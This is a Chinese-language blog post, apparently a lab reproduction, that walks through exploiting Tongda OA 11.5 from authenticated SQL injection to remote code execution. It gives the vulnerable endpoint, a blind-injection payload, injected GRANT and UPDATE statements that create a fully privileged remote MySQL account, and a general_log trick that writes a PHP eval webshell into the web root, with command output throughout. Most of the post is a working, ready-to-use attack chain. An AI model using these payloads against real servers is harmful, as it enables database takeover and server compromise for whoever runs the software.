通达OA后台SQL注入到RCE

0x00 前戏

一趟护网下来大佬们收割了一大波0day,奈何自己没有没有技术,只能打打靶机。
通达OA后台SQL注入到RCE_第1张图片
可能是自己比较菜原因,复现过程中遇到不少坑。

0x01 测试环境

测试版本:11.5.200417 版本
限制条件:需要账号登录

大佬们说是 通达OA v11.7版本,但是试了试 11.5.200417 版本也是同样存在 SQL注入的,更惊喜的是,刚好可以使用11.5版本的前台任意用户登录漏洞,绕过登录需要登录这一条件。

漏洞原理代码分析可以参考云川安全团队的师傅的文章

0x02 漏洞复现

漏洞url:http://target/general/hr/manage/query/delete_cascade.php?condition_cascade=xxx
首先使用任意用户登录漏洞,访问漏洞url

注入点分析

这里其实已经使用黑名单的方式过滤了一些关键字,但是并非无法绕过,盲注的核心是:substr、if 等函数,均未被过滤,所以还是有机会的。

使用别名正常执行
通达OA后台SQL注入到RCE_第2张图片
不使用别名报错
通达OA后台SQL注入到RCE_第3张图片
通过sql语句执行报错和不报错,就可以利用盲注的思想写脚本了。
那么只要构造MySQL报错即可配合if函数进行盲注了,学习局外人师傅在补天白帽大会上的分享,发现power(9999,99)也可以使数据库报错,所以构造语句:

    select if((substr(user(),1,1)='r'),1,power(9999,99)) # 当字符相等时,不报错,错误时报错

第一次见知识(姿势)盲区,学习了学习了。

利用链注入
云川安全团队的师傅给出的利用链注入加mysql权限,直接拿下数据库。

创建数据库用户:test/123456

?condition_cascade=grant all privileges ON mysql.* TO 'test'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION; 

通达OA后台SQL注入到RCE_第4张图片

刷新权限(不要忘了)

?condition_cascade=FLUSH PRIVILEGES;

通达OA后台SQL注入到RCE_第5张图片

解释一波

grant all privileges on 库名.表名 to '用户名'@'IP地址' identified by '密码' with grant option;
flush privileges;
#库名:要远程访问的数据库名称,所有的数据库使用“*”
#表名:要远程访问的数据库下的表的名称,所有的表使用“*”
#用户名:要赋给远程访问权限的用户名称
#IP地址:可以远程访问的电脑的IP地址,所有的地址使用“%”
#密码:要赋给远程访问权限的用户对应使用的密码

Navicat 连接测试
注意::数据库端口默认是3336,记得在windows 防火墙放行,我一开始没有注意端口,一直连不上自闭了半小时,总是以为哪里出错了。
通达OA后台SQL注入到RCE_第6张图片
提权写码
直接写被拒绝了。

mysql> select ' ' INTO OUTFILE 'C:\MYOA\webroot\log.php'; 
1045 - Access denied for user 'test'@'%' (using password: YES)

注意 User = Cast(‘test’ AS Binary(4))
括号里的数据是由用户名的长度决定的。

UPDATE `mysql`.`user` SET `Password` = '*DE0742FA79F6754E99FDB9C8D2911226A5A9051D', `Select_priv` = 'Y', `Insert_priv` = 'Y', `Update_priv` = 'Y', `Delete_priv` = 'Y', `Create_priv` = 'Y', `Drop_priv` = 'Y', `Reload_priv` = 'Y', `Shutdown_priv` = 'Y', `Process_priv` = 'Y', `File_priv` = 'Y', `Grant_priv` = 'Y', `References_priv` = 'Y', `Index_priv` = 'Y', `Alter_priv` = 'Y', `Show_db_priv` = 'Y', `Super_priv` = 'Y', `Create_tmp_table_priv` = 'Y', `Lock_tables_priv` = 'Y', `Execute_priv` = 'Y', `Repl_slave_priv` = 'Y', `Repl_client_priv` = 'Y', `Create_view_priv` = 'Y', `Show_view_priv` = 'Y', `Create_routine_priv` = 'Y', `Alter_routine_priv` = 'Y', `Create_user_priv` = 'Y', `Event_priv` = 'Y', `Trigger_priv` = 'Y', `Create_tablespace_priv` = 'Y', `ssl_type` = '', `ssl_cipher` = '', `x509_issuer` = '', `x509_subject` = '', `max_questions` = 0, `max_updates` = 0, `max_connections` = 0, `max_user_connections` = 0, `plugin` = 'mysql_native_password', `authentication_string` = '', `password_expired` = 'Y' WHERE `Host` = Cast('%' AS Binary(1)) AND `User` = Cast('test' AS Binary(4));

刷新权限:?condition_cascade=FLUSH PRIVILEGES;
通达OA后台SQL注入到RCE_第7张图片

通达OA后台SQL注入到RCE_第8张图片
提示这个,或者让改密码死活改不了。在创建test用户。

?condition_cascade=grant all privileges ON mysql.* TO 'test'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;

再刷新
在这里插入图片描述
这是发现test账户权限有了。
尝试写入一句话
通达OA后台SQL注入到RCE_第9张图片
secure-file-priv的值有三种情况:

secure_file_prive=null ––限制mysqld 不允许导入导出

secure_file_priv=/path/ – --限制mysqld的导入导出只能发生在默认的/path/目录下

secure_file_priv=’’ – --不对mysqld 的导入 导出做限制

还得参照大佬的写法:

mysql> set global general_log = on;
Query OK, 0 rows affected (0.00 sec)

mysql> set global general_log_file = "C:/MYOA/webroot/log.php";	#注意一定不能用'\',必须要使用'/'
Query OK, 0 rows affected (0.00 sec)

mysql> select '';
+-----------------------------+
| <?php @eval($_POST[cmd]);?> |
+-----------------------------+
| <?php @eval($_POST[cmd]);?> |
+-----------------------------+
1 row in set (0.04 sec)

mysql> show variables like '%general%';
+------------------+-------------------------+
| Variable_name    | Value                   |
+------------------+-------------------------+
| general_log      | ON                      |
| general_log_file | C:/MYOA/webroot/log.php |
+------------------+-------------------------+
2 rows in set (0.05 sec)

看样子是已经写入成功,上菜。
终于了,不容易呀,大佬复现两分半,菜鸡复现两小时半。
通达OA后台SQL注入到RCE_第10张图片

你可能感兴趣的:(漏洞复现,Web安全渗透测试笔记,安全)